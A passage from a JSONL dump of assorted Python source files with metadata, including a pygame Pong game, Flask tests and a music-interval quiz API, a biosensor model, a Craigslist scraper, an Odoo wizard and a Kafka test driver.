111],\n [537, 699, 497, 121, 956],\n [805, 632, 542, 37, 331]\n ]\n assert self.minimalPathSum(testData) == 2427\n\nSolver = Problem081\n","sub_path":"Solutions/Problems 076-100/Problem081.py","file_name":"Problem081.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201589440","text":"# import\r\n\r\nimport pygame, sys, random\r\nfrom settings import *\r\n\r\n# init\r\n\r\npygame.init()\r\n\r\nclass App:\r\n\tdef __init__(self):\r\n\t\tself.screen = pygame.display.set_mode((screen_width, screen_height))\r\n\t\tself.clock = pygame.time.Clock()\r\n\t\tself.running = True\r\n\t\tself.state = 'start'\r\n\t\tself.title = pygame.display.set_caption('Pong')\r\n\t\tself.ball_speed_x = 7 * random.choice((1, -1))\r\n\t\tself.ball_speed_y = 7 * random.choice((1, -1))\r\n\t\tself.player_speed = 0\r\n\t\tself.opponent_speed = 7\r\n\t\tself.player_score = 0\r\n\t\tself.opponent_score = 0 \r\n\t\tself.ball = pygame.Rect(screen_width/2 - 20, screen_height/2 - 15, 30, 30)\r\n\t\tself.player = pygame.Rect(screen_width - 25, screen_height/2 - 70, 10, 140)\r\n\t\tself.opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140)\r\n\t\tself.score_time = None\r\n\r\n\tdef run(self):\r\n\t\twhile self.running:\r\n\t\t\tif self.state == 'start':\r\n\t\t\t\tself.start_events()\r\n\t\t\t\tself.start_update()\r\n\t\t\t\tself.start_draw()\r\n\t\t\telif self.state == 'playing':\r\n\t\t\t\tself.playing_events()\r\n\t\t\t\tself.playing_update()\r\n\t\t\t\tself.playing_draw()\r\n\t\t\telse:\r\n\t\t\t\tself.running = False\r\n\t\t\tself.clock.tick(FPS)\r\n\t\tpygame.quit()\r\n\t\tsys.exit()\r\n\r\n\t### START FUNCTION ###\r\n\r\n\tdef start_events(self):\r\n\t\tfor event in pygame.event.get():\r\n\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\tself.running = False\r\n\t\t\tif event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\r\n\t\t\t\tself.state = 'playing'\r\n\r\n\tdef start_update(self):\r\n\t\tpass\r\n\r\n\tdef start_draw(self):\r\n\t\tfor event in pygame.event.get():\r\n\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\tself.running = False\r\n\t\t\tif event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\r\n\t\t\t\tself.state = 'playing'\r\n\r\n\t\tself.screen.fill((0, 0, 0))\r\n\t\tgame_font = pygame.font.Font(\"freesansbold.ttf\", 32)\r\n\t\ttext = game_font.render(\"SPACE\", False, light_grey)\r\n\t\tself.screen.blit(text, (screen_width/2 - 60, screen_height/2 - 30))\r\n\t\tpygame.display.update()\r\n\r\n\t### PLAYING FUNCTION ###\r\n\r\n\tdef playing_events(self):\r\n\t\tfor event in pygame.event.get():\r\n\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\tpygame.quit()\r\n\t\t\t\tsys.exit()\r\n\t\t\tif event.type == pygame.KEYDOWN:\r\n\t\t\t\tif event.key == pygame.K_DOWN:\r\n\t\t\t\t\tself.player_speed += 7\r\n\t\t\t\tif event.key == pygame.K_UP:\r\n\t\t\t\t\tself.player_speed -= 7\r\n\t\t\tif event.type == pygame.KEYUP:\r\n\t\t\t\tif event.key == pygame.K_DOWN:\r\n\t\t\t\t\tself.player_speed -= 7\r\n\t\t\t\tif event.key == pygame.K_UP:\r\n\t\t\t\t\tself.player_speed += 7\r\n\r\n\tdef playing_update(self):\r\n\t\tself.ball_animation()\r\n\t\tself.player_animation()\r\n\t\tself.opponent_ai()\r\n\r\n\t\tif self.score_time:\r\n\t\t\tself.ball_restart()\r\n\r\n\tdef playing_draw(self):\r\n\t\tself.screen.fill(bg_color)\r\n\r\n\t\tpygame.draw.rect(self.screen, light_grey, self.player)\r\n\t\tpygame.draw.rect(self.screen, light_grey, self.opponent)\r\n\t\tpygame.draw.ellipse(self.screen, light_grey, self.ball)\r\n\t\tpygame.draw.aaline(self.screen, light_grey, (screen_width/2, 0), (screen_width/2, screen_height))\r\n\r\n\t\tgame_font = pygame.font.Font(\"freesansbold.ttf\", 32)\r\n\t\tplayer_text = game_font.render(f\"{self.player_score}\", False, light_grey)\r\n\t\tself.screen.blit(player_text, (screen_width/2 + 20, 50))\r\n\t\topponent_text = game_font.render(f\"{self.opponent_score}\", False, light_grey)\r\n\t\tself.screen.blit(opponent_text, (screen_width/2 - 35, 50))\r\n\r\n\t\tpygame.display.flip()\r\n\r\n\t### OTHER FUNCTION ###\r\n\r\n\tdef ball_restart(self):\r\n\t\tglobal current_time\r\n\t\tself.ball.center = (screen_width/2, screen_height/2)\r\n\t\tself.ball_speed_y *= random.choice((1, -1))\r\n\t\tself.ball_speed_x *= random.choice((1, -1))\r\n\r\n\t\tcurrent_time = pygame.time.get_ticks()\r\n\t\tgame_font = pygame.font.Font(\"freesansbold.ttf\", 32)\r\n\r\n\t\tif current_time - self.score_time < 700:\r\n\t\t\tnumber_three = game_font.render(\"3\", False, light_grey)\r\n\t\t\tself.screen.blit(number_three, (screen_width/2 - 8, screen_height/2 + 20))\r\n\t\tif 700 < current_time - self.score_time < 1400:\r\n\t\t\tnumber_two = game_font.render(\"2\", False, light_grey)\r\n\t\t\tself.screen.blit(number_two, (screen_width/2 - 8, screen_height/2 + 20))\r\n\t\tif 1400 < current_time - self.score_time < 2700:\r\n\t\t\tnumber_one = game_font.render(\"1\", False, light_grey)\r\n\t\t\tself.screen.blit(number_one, (screen_width/2 - 8, screen_height/2 + 20))\r\n\r\n\t\tif current_time - self.score_time < 2100:\r\n\t\t\tself.ball_speed_x, self.ball_speed_y = 0, 0\r\n\t\telse:\r\n\t\t\tself.ball_speed_x = 7 * random.choice((1, -1))\r\n\t\t\tself.ball_speed_y = 7 * random.choice((1, -1))\r\n\t\t\tself.score_time = None\r\n\t\t\t\r\n\t\tpygame.display.flip()\r\n\r\n\tdef ball_animation(self):\r\n\t\tself.ball.x += self.ball_speed_x\r\n\t\tself.ball.y += self.ball_speed_y\t\t\r\n\r\n\t\tif self.ball.top <= 0 or self.ball.bottom >= screen_height:\r\n\t\t\tself.ball_speed_y *= -1\r\n\r\n\t\tif self.ball.left <= 0:\r\n\t\t\tself.player_score += 1\r\n\t\t\tself.score_time = pygame.time.get_ticks()\r\n\r\n\t\tif self.ball.right >= screen_width:\r\n\t\t\tself.opponent_score += 1\r\n\t\t\tself.score_time = pygame.time.get_ticks()\r\n\r\n\t\tif self.ball.colliderect(self.player) and self.ball_speed_x > 0:\r\n\t\t\tif abs(self.ball.right - self.player.left) < 10:\r\n\t\t\t\tself.ball_speed_x *= -1\r\n\t\t\telif abs(self.ball.bottom - self.player.top) < 10 and self.ball_speed_y > 0:\r\n\t\t\t\tself.ball_speed_y *= - 1\r\n\t\t\telif abs(self.ball.top - self.player.bottom) < 10 and self.ball_speed_y < 0:\r\n\t\t\t\tself.ball_speed_y *= - 1\r\n\r\n\t\tif self.ball.colliderect(self.opponent) and self.ball_speed_x < 0:\r\n\t\t\tif abs(self.ball.left - self.opponent.right) < 10:\r\n\t\t\t\tself.ball_speed_x *= -1\r\n\t\t\telif abs(self.ball.bottom - self.opponent.top) < 10 and self.ball_speed_y > 0:\r\n\t\t\t\tself.ball_speed_y *= - 1\r\n\t\t\telif abs(self.ball.top - self.opponent.bottom) < 10 and self.ball_speed_y < 0:\r\n\t\t\t\tself.ball_speed_y *= - 1\r\n\r\n\tdef player_animation(self):\r\n\t\tself.player.y += self.player_speed\r\n\t\tif self.player.top <= 0:\r\n\t\t\tself.player.top = 0\r\n\t\tif self.player.bottom >= screen_height:\r\n\t\t\tself.player.bottom = screen_height\t\t\r\n\r\n\tdef opponent_ai(self):\r\n\t\tif self.opponent.top < self.ball.y:\r\n\t\t\tself.opponent.top += self.opponent_speed\r\n\t\tif self.opponent.bottom > self.ball.y:\r\n\t\t\tself.opponent.bottom -= self.opponent_speed\r\n\t\tif self.opponent.top <= 0:\r\n\t\t\tself.opponent.top = 0\r\n\t\tif self.opponent.bottom >= screen_height:\r\n\t\t\tself.opponent.bottom = screen_height","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472804643","text":"# coding: utf-8\n\nimport unittest\nfrom flask import current_app, url_for\nfrom app import create_app\nfrom app.models import Stock, Book, db\nfrom datetime import datetime\n\n\nclass StockTestCase(unittest.TestCase):\n def setUp(self):\n self.app = create_app(\"testing\")\n self.app_context = self.app.app_context()\n self.app_context.push()\n db.create_all(app=self.app)\n\n def tearDown(self):\n db.session.remove()\n self.app_context.pop()\n\n def test_new(self):\n new_stock = Stock.new(10, 2000)\n assert new_stock.book_id == 10\n assert new_stock.saleprice == 2000\n assert new_stock.type == \"stock\"\n\n def test_fetch(self):\n new_book = Book.new(\n \"hoge_book\", 2000, \"John Doe\", \"ABC Publishing\", \"01234567890\", 0,\n datetime.strptime(\"2000-01-01\", '%Y-%m-%d'), \"Non classified\",\n \"This is an awesome book.\",\n \"http://www.yuhikaku.co.jp/uploads/images/L10475.jpg\")\n db.session.add(new_book)\n db.session.commit()\n\n registered_book = Book.fetch_by_isbn(\"01234567890\")\n assert new_book == registered_book\n\n new_stock = Stock.new(registered_book.id, registered_book.price * 1.08)\n db.session.add(new_stock)\n db.session.commit()\n\n registered_stock = Stock.fetch(1)\n assert new_stock == registered_stock\n\n def test_update_stock(self):\n new_stock = Stock.new(5000, 2000)\n db.session.add(new_stock)\n db.session.commit()\n unmodified_stock = Stock.fetch_by_book_id(5000)[0]\n unmodified_stock.update_price(10000)\n db.session.add(unmodified_stock)\n db.session.commit()\n assert Stock.fetch(unmodified_stock.id).saleprice == 10000\n\n def test_fetch_bu_book_id(self):\n sample_stock1 = Stock.new(10, 2000)\n sample_stock2 = Stock.new(10, 2160)\n db.session.add(sample_stock1)\n db.session.add(sample_stock2)\n db.session.commit()\n\n in_stock_books = Stock.fetch_by_book_id(10)\n for a in in_stock_books:\n assert a.book_id == 10\n\n def test_fetch_all(self):\n sample_stock1 = Stock.new(10, 2000)\n sample_stock2 = Stock.new(10, 2000)\n db.session.add(sample_stock1)\n db.session.add(sample_stock2)\n db.session.commit()\n\n assert Stock.query.count() >= 2\n","sub_path":"tests/test_stock.py","file_name":"test_stock.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"621543235","text":"# -*- coding: utf-8 -*-\r\nfrom logging.config import dictConfig\r\n\r\n# ログフォーマット変更\r\ndictConfig({\r\n 'version': 1,\r\n 'formatters': {'default': {\r\n 'format': '[%(asctime)s] %(levelname)s %(message)s',\r\n }},\r\n 'handlers': {'wsgi': {\r\n 'class': 'logging.StreamHandler',\r\n 'stream': 'ext://flask.logging.wsgi_errors_stream',\r\n 'formatter': 'default'\r\n }},\r\n 'root': {\r\n 'level': 'INFO',\r\n 'handlers': ['wsgi']\r\n }\r\n})\r\n\r\nfrom flask import Flask, jsonify, request\r\nimport random\r\nimport urllib\r\nimport logging , logging.handlers\r\nimport json\r\n\r\napp = Flask(__name__)\r\n\r\n# json内で日本語を使用するため、ASCII変換を無効化する\r\napp.config['JSON_AS_ASCII'] = False\r\n\r\n# メイン処理(クイズをセット)\r\nsoundArray = [\r\n 'C3','C#3','D3','D#3','E3','F3','F#3','G3','G#3','A3','A#3','B3',\r\n 'C4','C#4','D4','D#4','E4','F4','F#4','G4','G#4','A4','A#4','B4',\r\n 'C5','C#5','D5','D#5','E5','F5','F#5','G5','G#5','A5','A#5','B5','C6'\r\n]\r\nintervalArray = [\r\n '完全1度','短2度','長2度','短3度','長3度','完全4度','増4度/減5度',\r\n '完全5度','短6度','長6度','短7度','長7度','完全8度'\r\n]\r\n\r\ndef getFirstSound():\r\n return soundArray[random.randrange(12,24)]\r\n\r\ndef getInterval():\r\n return intervalArray[random.randrange(0,13)]\r\n\r\ndef getUpOrDown():\r\n if random.randrange(0,2) == 0:\r\n return \"Up\"\r\n else:\r\n return \"Down\"\r\n\r\ndef getQuiz(default_interval):\r\n firstSound = getFirstSound()\r\n upOrDown = getUpOrDown()\r\n\r\n if not default_interval:\r\n interval = getInterval()\r\n else:\r\n interval = default_interval.encode('utf-8')\r\n\r\n if upOrDown == \"Up\":\r\n secondSound = soundArray[ soundArray.index(firstSound) + intervalArray.index(interval) ]\r\n else:\r\n secondSound = soundArray[ soundArray.index(firstSound) - intervalArray.index(interval) ]\r\n\r\n quiz = {\r\n \"firstSound\": firstSound,\r\n \"interval\": interval,\r\n \"upOrDown\": upOrDown,\r\n \"secondSound\": secondSound\r\n }\r\n return jsonify(quiz)\r\n\r\n# クイズ用URI定義\r\n@app.route('/quiz',methods=['GET'])\r\ndef quiz():\r\n default_interval = request.args.get('default_interval')\r\n return getQuiz(default_interval)\r\n\r\n@app.route('/result', methods=['POST'])\r\ndef result():\r\n result = json.loads(request.data)\r\n app.logger.info(result)\r\n return \"logged!\"\r\n\r\n# main.jsからのAPIコールに応答するため、他ドメインからのAPIコールを許可する\r\n# jsonのPOSTを受け付けるため、Content-typeの指定を許可する\r\n@app.after_request\r\ndef after_request(response):\r\n response.headers.add('Access-Control-Allow-Origin', '*')\r\n response.headers.add('Access-Control-Allow-Headers', 'Content-type')\r\n return response\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=False,host='0.0.0.0')\r\n","sub_path":"backend/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"233403954","text":"# system packages\nimport copy\n\n# module packages\nfrom biosensor.common import Substance\nfrom biosensor.model_1D import DimensionlessSettings1D\nfrom biosensor.model_1D.grid import SubstanceGrid1D\n\n\nclass Biosensor1D(object):\n \"\"\"\n Class representing a biosensor modeled in one dimension space.\n\n \"\"\"\n _expected_grid_class = SubstanceGrid1D\n _expected_settings_class = DimensionlessSettings1D\n\n def __init__(self, settings):\n self._import_settings(settings)\n self._make_grids()\n\n @property\n def grids(self):\n return self._grids\n\n @grids.setter\n def grids(self, value):\n if isinstance(value, dict) and len(value) > 0 and \\\n all([issubclass(item, Substance)\n for item in value.keys()]) and \\\n all([isinstance(item, self._expected_grid_class)\n for item in value.values()]):\n self._grids = value\n else:\n raise ValueError('Expected instance of {}, received: {}'\n .format(self._expected_grid_class, value))\n\n @property\n def settings(self):\n return self._settings\n\n @settings.setter\n def settings(self, value):\n if isinstance(value, self._expected_settings_class):\n self._settings = value\n else:\n raise TypeError\n\n @property\n def regions(self):\n return self._regions\n\n @regions.setter\n def regions(self, value):\n if isinstance(value, list):\n self._regions = value\n else:\n raise TypeError('List of regions expected, but {} found'\n .format(str(type(value))))\n\n @property\n def bounds(self):\n return self._bounds\n\n @bounds.setter\n def bounds(self, value):\n if isinstance(value, dict):\n self._bounds = value\n else:\n raise TypeError('Dict of bounds expected, but {} found'\n .format(str(type(value))))\n\n @property\n def substances(self):\n return self._substances\n\n @substances.setter\n def substances(self, value):\n if isinstance(value, dict):\n self._substances = value\n else:\n raise TypeError('Dict of substances expected, but {} found'\n .format(str(type(value))))\n\n @property\n def h0x(self):\n return self._h0x\n\n @h0x.setter\n def h0x(self, value):\n \"\"\"\n Step size in first layer along x axis used in biosensor _get_response\n calculation.\n \"\"\"\n if value > 0 and value < 1:\n self._h0x = value\n else:\n raise ValueError\n\n def _import_settings(self, settings):\n self.settings = settings\n self.regions = copy.deepcopy(settings.regions)\n self.bounds = copy.deepcopy(settings.bounds)\n self.substances = copy.deepcopy(settings.substances)\n self.h0x = self.regions[0]['d'] / self.regions[0]['N']\n\n def _make_grids(self):\n grids = {}\n\n for substance in self.substances.keys():\n substance_regions = []\n\n for region in self.regions:\n substance_region = region['substances'][substance]\n substance_region['d'] = region['d']\n substance_region['N'] = region['N']\n substance_region['tau'] = self.settings.tau\n substance_region['sigmasq'] = self.settings.sigmasq\n substance_regions.append(substance_region)\n\n substance_bounds = self.bounds[substance]\n substance_class = self.substances[substance]\n substance_grid = SubstanceGrid1D(substance_class,\n substance_regions,\n substance_bounds)\n grids[substance_class] = substance_grid\n\n self.grids = grids\n\n def _get_response(self, P0, P1):\n \"\"\"\n A response function used by solver.\n\n Returns dimensionless biosensor response in 1D calculated by\n i = (P[1]-P[0]) / hx.\n\n \"\"\"\n return (P1-P0) / self.h0x\n","sub_path":"biosensor/model_1D/biosensor.py","file_name":"biosensor.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207168930","text":"import abc\nimport dataclasses\nimport typing as typ\n\n__all__ = ['Component']\n\nCompositeT = typ.TypeVar('CompositeT')\n\n\n@dataclasses.dataclass\nclass Base(typ.Generic[CompositeT]):\n\n _composite_: typ.Optional[CompositeT] = dataclasses.field(default=None, init=False, repr=False)\n\n\n@dataclasses.dataclass\nclass Component(Base[CompositeT], typ.Generic[CompositeT], abc.ABC):\n\n @abc.abstractmethod\n def _update(self) -> typ.NoReturn:\n pass\n\n @property\n def _composite(self) -> CompositeT:\n return self._composite_\n\n @_composite.setter\n def _composite(self, value: CompositeT):\n self._composite_ = value\n self._update()\n","sub_path":"kgpy/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"538524665","text":"import sys, collections\n\ndef count_words(filename):\n\t\"\"\" Counts space separated words in a text file\"\"\"\n\tfile = open(filename)\n\n\t# Initialize empty Counter object\n\tcount_dict = collections.Counter()\n\n\tfor line in file:\n\t\tline = line.rstrip()\n\t\twords = line.split(\" \")\n\t\n\t\t# update dictionary line by line\n\t\tfor word in words:\n\t\t\t# make sure the word is letters only\n\t\t\tword = make_alpha(word)\n\n\t\t\t# add to dictionary or increment\n\t\t\t#count_dict[word.lower()] = count_dict.get(word.lower(), 0) + 1\n\t\t\tcount_dict[word.lower()] += 1\n\n\treturn count_dict\n\n\ndef print_dict_items(dictionary):\n\t\"\"\" Print key:value pairs of a dictionary.\"\"\"\n\tfor word, count in dictionary.items():\n\t\tprint(\"{} {}\".format(word, count))\n\t\n\ndef make_alpha(word_candidate):\n\t\"\"\" Make sure the word is only letters.\n\n\tdetails here...\n\t\"\"\"\n\tif not word_candidate.isalpha():\n\t\t# word has a symbol\n\t\tword = word_candidate[:len(word_candidate) - 1]\n\t\treturn word\n\n\treturn word_candidate\n\n\n# tests\nprint_dict_items(count_words(sys.argv[1]))","sub_path":"wordcount.py","file_name":"wordcount.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"281083399","text":"\"\"\"Function 'emirp_check' checks if the input number is emirp\nFunction 'emirp_range_check' returns all emirp numbers in given range\nBoth of these functions use 'prime_check' function to check if the number\nprime or not\"\"\"\n\n\ndef prime_check(number):\n for i in range(2, number):\n if number % i != 0:\n continue\n else:\n return False\n return True\n\n\ndef emirp_check():\n number = int(input('Input any number: '))\n\n if prime_check(number) is True:\n string = str(number)\n\n if prime_check(int(string[::-1])) is True:\n print('The number {} is an emirp number'.format(number))\n return\n print('{} is not an emirp number'.format(number))\n return\n\n\nemirp_check()\n\n\ndef emirp_range_check():\n from_number = int(input('Input the first number of range: '))\n to_number = int(input('Input the last number of range: '))\n emirp_list = []\n\n for number in range(from_number, to_number + 1):\n\n if prime_check(number):\n string = str(number)\n new_string = str(number)[::-1]\n\n if new_string != string:\n\n if prime_check(int(new_string)):\n emirp_list.append(number)\n\n print(emirp_list)\n return emirp_list\n\n\nemirp_range_check()\n","sub_path":"solo_practice/emirp_numbers.py","file_name":"emirp_numbers.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"424028139","text":"# Hi, I'm Zain and I like cars!!!\n# While writing this script I will be prototyping into the cmd line to make sure things are working and to catch errors before actually running this script\nfrom urllib import urlopen as requester # urlopen is going to grab the webpage we're scraping info from\nfrom bs4 import BeautifulSoup as parser # parser for the html text\nimport re # needed to clean up text\n# --------------------------------------------------\ndef getURL():\n my_URL = 'https://sfbay.craigslist.org/search/cta'\n return my_URL # default URL for testing\n# --------------------------------------------------\ndef getHTML(site):\n car_client = requester(site) # opening connection to get page\n car_html = car_client.read() # get all the page info and store it\n car_client.close() # close connection\n return car_html\n# --------------------------------------------------\n# time to bring in the beautiful soupe :\ndef getListings(some_html):\n car_parsed = parser(some_html, \"html.parser\") # defining how we want it, could be xml, json, etc.\n listings = car_parsed.findAll(\"li\", {\"class\":\"result-row\"}) # gets each listing on the page..\n return listings\n # you could call car_parsed.p, car_parsed.h1 and get the info from its respective tag, granted its all gibberish still\n # Check with len(containers) and compare against number of listings on page ||| print(rows[0])\n # Pass this through HTMLformatter.com clean up the html for readability sake, unless you can read it as is.\n '''\n
  • \n \\n>>\">\n \\n$2500\\n\n \\n

    \\n\n \\nfavorite this post\n \\n\n \\n\n \\n>>\">\"Rmvd title\"\n \\n\n \\n$2500\n \\n (brentwood / oakley)\n \\n\n \\npic\n \\nmap\n \\n\n \\n\n \\nhide this posting\n \\n\n \\n\n \\n\n \\nrestore\n \\nrestore this posting\n \\n\n \\n\n \\n

    \n \\n
  • \n '''\n# --------------------------------------------------\ndef removeEmoji(string):\n emoji_pattern = re.compile(\n u\"(\\ud83d[\\ude00-\\ude4f])|\" # emoticons\n u\"(\\ud83c[\\udf00-\\uffff])|\" # symbols & pictographs (1 of 2)\n u\"(\\ud83d[\\u0000-\\uddff])|\" # symbols & pictographs (2 of 2)\n u\"(\\ud83d[\\ude80-\\udeff])|\" # transport & map symbols\n u\"(\\ud83c[\\udde0-\\uddff])\" # flags (iOS)\n \"+\", flags=re.UNICODE)\n return emoji_pattern.sub(r'', string)\n# --------------------------------------------------\n","sub_path":"searchScraper.py","file_name":"searchScraper.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500207640","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import UserError\nimport datetime\n\nclass FmpiVqirPd(models.TransientModel):\n _name = \"fmpi.vqir.pd\"\n _description = \"FMPI - VQIR Paid Notes\"\n\n name = fields.Text(string=\"Paid Notes\", required=True)\n\n @api.multi\n def action_pd(self):\n act_close = {'type': 'ir.actions.act_window_close'}\n ids = self._context.get('active_ids')\n if ids is None:\n return act_close\n assert len(ids) == 1, \"Only 1 VQIR is expected\"\n fmpi_vqir_obj = self.env['fmpi.vqir'].browse(ids)\n if fmpi_vqir_obj.vqir_state in ['approved','preclaimed']:\n vqir_state_logs = \"Document:\" + fmpi_vqir_obj.name + \"\\n\" + \\\n \"Set as Paid by: \" + self.env.user.name + \"\\n\" + \\\n \"Set as Paid at: \" + datetime.datetime.now().strftime(\"%m/%d/%Y\") + \"\\n\" + \\\n \"Paid notes: \" + (self.name or '') + \"\\n\" + \\\n \"--------------------------------------------------\\n\"\n fmpi_vqir_obj.write({'vqir_state': 'paid',\n 'vqir_state_logs': vqir_state_logs + (fmpi_vqir_obj.vqir_state_logs or '')})\n fmpi_vqir_obj.action_pd_api()\n else:\n raise UserError(_(\"You cannot pay this VQIR in this state\"))\n return act_close\n\nFmpiVqirPd()","sub_path":"one/wizards/fmpi_vqir_pd.py","file_name":"fmpi_vqir_pd.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"1634035","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nfrom pifpaf import drivers\n\n\nclass KafkaDriver(drivers.Driver):\n DEFAULT_PORT = \"9092\"\n DEFAULT_PATH = [\"/opt/kafka/bin\"]\n\n def __init__(self, port=DEFAULT_PORT, **kwargs):\n\n super(KafkaDriver, self).__init__(**kwargs)\n self.port = port\n def _setUp(self):\n\n super(KafkaDriver, self)._setUp()\n cfgfile = os.path.join(self.tempdir, \"server.properties\")\n with open(cfgfile, \"w\") as f:\n f.write(\"\"\"broker.id=0\nhost.name=127.0.0.1\nadvertised.host.name=127.0.0.1\nlisteners=PLAINTEXT://localhost:%s\nnum.network.threads=3\nnum.io.threads=8\nsocket.send.buffer.bytes=102400\nsocket.receive.buffer.bytes=102400\nsocket.request.max.bytes=104857600\nlog.dirs=%s-logs\nnum.partitions=1\nnum.recovery.threads.per.data.dir=1\nlog.retention.hours=168\nlog.segment.bytes=1073741824\nlog.retention.check.interval.ms=300000\nzookeeper.connect=localhost:2181\nzookeeper.connection.timeout.ms=6000\"\"\" % (self.port, self.tempdir))\n\n os.mkdir(\"%s-logs\" % self.tempdir)\n\n c, _ = self._exec(['kafka-server-start.sh',\n cfgfile,\n '--override', 'port=%s' % self.port],\n wait_for_line='started',\n path=KafkaDriver.DEFAULT_PATH)\n\n self.addCleanup(self._exec, ['kafka-server-stop.sh'],\n path=KafkaDriver.DEFAULT_PATH)\n \n self.putenv(\"KAFKA_PORT\", self.port)\n self.putenv(\"KAFKA_URL\", \"PLAINTEXT://localhost:%s\" % self.port)\n","sub_path":"pifpaf/drivers/kafka.py","file_name":"kafka.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"218322548","text":"from builtins import object\nfrom bi.common.exception import BIException\n\n\nclass Validator(object):\n \"\"\"\n Utilitiy class for common validations\n \"\"\"\n\n @staticmethod\n def assert_non_negative_parameter(param_type, param_name, param_value, raise_exception=True):\n if type(param_value) != param_type:\n if raise_exception:\n raise BIException.parameter_invalid_type(param_name, param_type, type(param_value))\n else:\n return False\n\n if param_value < 0:\n if raise_exception:\n raise BIException.parameter_has_negative_value(param_name, param_value)\n else:\n return False\n\n return True\n","sub_path":"bi/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446539684","text":"from django.db.utils import IntegrityError\nfrom django.test import TestCase\n\nfrom cashflow.models import Item, City, Place, Tag, Wallet\n\n\nclass ItemTestCase(TestCase):\n def create_item(self):\n item = Item.objects.create(place=self.place, wallet=self.wallet)\n for tag in self.tags:\n item.tags.add(tag)\n item.save()\n return item\n\n def setUp(self):\n self.city = City.objects.create(name='San Francisco')\n self.place = Place.objects.create(name='Waffle House', city=self.city)\n self.tags = Tag.objects.bulk_create([\n Tag(name='waffles'),\n Tag(name='food'),\n Tag(name='market'),\n ])\n self.wallet = Wallet.objects.create(name='Bank of America')\n self.item = self.create_item()\n\n def test_item_creation(self):\n \"\"\"\n Tests if items are created correctly.\n \"\"\"\n item = self.create_item()\n self.assertEqual(Item.objects.count(), 2)\n\n def test_item_delete(self):\n \"\"\"\n Tests if items can be removed correctly.\n \"\"\"\n item = self.create_item()\n self.assertEqual(Item.objects.count(), 2)\n item.delete()\n self.assertEqual(Item.objects.count(), 1)\n\n def test_item_edit(self):\n \"\"\"\n Tests if items can be edited correctly.\n \"\"\"\n self.item.value = 120.45\n self.item.save()\n self.assertEqual(float(Item.objects.get(pk=self.item.id).value), 120.45)\n\n def test_city_remove(self):\n \"\"\"\n Tests if city delete will remove associated items too.\n \"\"\"\n self.city.delete()\n self.assertEqual(Item.objects.count(), 0)\n\n def test_place_remove(self):\n \"\"\"\n Tests if place delete will remove associated items too.\n \"\"\"\n self.place.delete()\n self.assertEqual(Item.objects.count(), 0)\n\n def test_wallet_remove(self):\n \"\"\"\n Tests if wallet delete will remove associated items too.\n \"\"\"\n self.wallet.delete()\n self.assertEqual(Item.objects.count(), 0)\n","sub_path":"cashflow/tests/models/test_item.py","file_name":"test_item.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"68947134","text":"#텍스트 파일을 한줄씩 읽고 출력하기\n#readline()은 텍스트 파일을 한 줄 씩 읽는다.\nf = open('test.txt', 'r')\nline_num = 1\nline = f.readline()\n\nwhile line: #파일의 끝에 읽을 내용이 더 이상 없으면 readline()은 빈 문자열을 리턴\n print('%d %s'%(line_num, line), end ='')\n line = f.readline()\n line_num += 1\nf.close()\n","sub_path":"138.text_method_readline/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124009152","text":"import urllib2\nimport urllib\nimport os\nfrom bs4 import BeautifulSoup\n\ngirl_dir = 'F:\\girl'\nos.chdir(girl_dir)\n\nurl = 'https://www.4493.com/gaoqingmeinv/'\nuser_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'\nvalues = {'username' : 'cqc', 'password' : 'XXXX' }\nheaders = {'User-Agent' : user_agent}\ndata = urllib.urlencode(values)\nrequest = urllib2.Request(url,data,headers)\nresponse = urllib2.urlopen(request)\nhtmlreader = response.read()\nsoup = BeautifulSoup(htmlreader, 